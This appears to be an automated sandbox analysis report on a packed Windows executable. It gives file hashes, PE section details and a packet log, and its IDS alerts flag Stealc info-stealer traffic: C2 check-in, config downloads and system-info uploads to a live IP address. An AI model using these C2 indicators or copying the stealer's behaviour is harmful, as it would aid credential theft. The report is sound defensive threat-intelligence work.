SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	173904
Entropy (8bit):	5.557015392120516
Encrypted:	false
SSDEEP:	3072:mqnrEqzJkt0fv1iYPB+q4hXAmwWiIW14ouj4cCTQdp0K7S1kqUS4exvhb9h59GL0:mqnIqzJkt0fvsYPB+q4hXAmwWVW11uja
MD5:	07A6DC0B4F6E097C1D0A15202E2529F9
SHA1:	3F90C96ABF30EE11E87D944BDA7B46F97C105B6C
SHA-256:	68C28B4DAA8F9DB9762ACB567C6787DA7EBE34F2012BA76239482DC980422C34
SHA-512:	C8C7FE5696DC1258889D03F988B1A534DE50B0059A243769E258F6A7991ADB3BA2F9079F47E48F453FFD03A3CC3169D5A12F6458A7F04958D17A27D7D5CC3DD3
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.JsvYdB1VlTQ.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTt6VjuqvFHGTQ7vz8QgRv0QbbEJTQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.lj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var mj,nj,pj,sj,vj,uj,oj,tj;mj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};nj=function(){_.Ka()};pj=function(){oj===void 0&&(oj=typeof WeakMap==="function"?mj(WeakMap):null);return oj};sj=function(a,b){(_.qj\|\|(_.qj=new oj)).set(a,b);(_.rj\|\|(_.rj=new oj)).set(b,a)};.vj=function(a){if(tj===void 0){const b=new uj([],{});tj=Array.prototype.concat.call([],b).length===1}tj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.wj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.xj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.yj=function(a,b){a===0&&(a=_.xj(a,b));return a\|1};_.zj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.Aj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Ej=function(a,b,c,d,e,f,g){const h=a.fa;var k=!!(2&b);e=k?

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.957186095544766
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'177'024 bytes
MD5:	82ffb0d94c7f912b03d1feee6f614605
SHA1:	f84ef7a098210160537648584909d6cd4f7cb6cb
SHA256:	1f4559c2464e25078e6f0ae6b99990b6607c5adc0d631d43ba380ae7de51f0c1
SHA512:	1cd4548cc0f382b76436d772bbf6a82f16cba6e11cd4d528e3defb5da735ea33ffe1220edbeefd409ca6b0f0b16cece159d020b1f06f6338b273ab420ccc30d5
SSDEEP:	49152:n/oG96mPxsramN2DHWNJtFZkJalxLKxndQzkD8wdHTXz5E1ZLoJZA5:ngBrrN2KNvFKJa7KxKgD1HZgZLyg
TLSH:	3DA5337A6AC9822FD05733B3BAF1BE5774D01EC89AF32450563E40988501BF16C47BEA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xb41000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FAA34B8D6AAh
movhps xmm4, qword ptr [ecx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	a21063acc144c19fcc9c6449912c4361	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x2ad000	0x200	21010702c962f169dee9b47d0444e4a6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
twbahnth	0x597000	0x1a9000	0x1a8600	9ae6783f3a84d013f56104456b43c412	False	0.9948631949558174	data	7.9536824312472065	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ahateppd	0x740000	0x1000	0x600	776b25808edad112e371db987a8d8b97	False	0.5598958333333334	data	4.854019828617327	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x741000	0x3000	0x2200	43371c7f64a33fa81ce9cf3c9205dde4	False	0.006433823529411764	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T04:52:07.496390+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-29T04:52:07.783015+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-29T04:52:07.790173+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-10-29T04:52:08.079850+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-29T04:52:08.087573+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-10-29T04:52:09.216604+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-29T04:52:09.823361+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-29T04:52:26.857259+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-29T04:52:28.726749+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-29T04:52:29.788883+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-29T04:52:30.875899+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-29T04:52:33.404487+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-29T04:52:34.054294+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49760	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 04:52:04.797779083 CET	49675	443	192.168.2.4	173.222.162.32
Oct 29, 2024 04:52:06.275194883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:06.281425953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:06.281534910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:06.281676054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:06.287599087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:07.197201014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:07.197284937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:07.200192928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:07.205590010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:07.496198893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:07.496390104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:07.497641087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:07.502912045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:07.782933950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:07.783015013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:07.783070087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:07.783114910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:07.784756899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:07.790173054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:08.079777002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:08.079849958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:08.079866886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:08.079914093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:08.080107927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:08.080123901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:08.080156088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:08.080188036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:08.080530882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:08.080545902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:08.080562115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:08.080578089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:08.080579042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:08.080589056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:08.080615044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:08.080630064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:08.082134962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:08.087573051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:08.367474079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:08.367566109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:08.418648005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:08.418709993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:08.424190044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:08.424227953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:08.424257040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:08.424279928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:08.424293041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:08.424305916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.216520071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.216603994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.449120045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.454623938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.823275089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.823360920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.823426008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.823443890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.823575974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.823575974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.823915005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.823931932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.823946953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.823964119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.823970079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.823988914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.824013948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.824873924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.824892044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.824907064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.824947119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.824963093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.825705051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.825722933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.825736046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.825752020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.825761080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.825782061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.825809002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.891623974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.891714096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.891788960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.891814947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.891814947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.891836882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.892072916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.892088890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.892123938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.892142057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.892441034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.892491102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.892714977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.892730951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.892765045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.892781019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.893100023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.893141985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.893353939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.893378019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.893398046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.893430948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.893884897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.893929958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.894181967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.894198895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.894226074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.894251108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.894727945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.894745111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.894776106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.894792080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.895266056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.895282030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.895297050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.895327091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.895344019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.896053076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.896116018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.896353960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.896369934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.896403074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.896418095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.896881104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.896897078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.896930933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.896948099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:09.897365093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:09.897439003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.051522017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.051637888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.051690102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.051966906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.051970005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.051989079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.052017927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.052053928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.052476883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.052500963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.052532911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.052560091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.053066015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.053081989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.053097963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.053117037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.053139925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.053931952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.053949118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.053962946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.053980112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.053982019 CET	49730	80	192.168.2.4	185.215.113.206
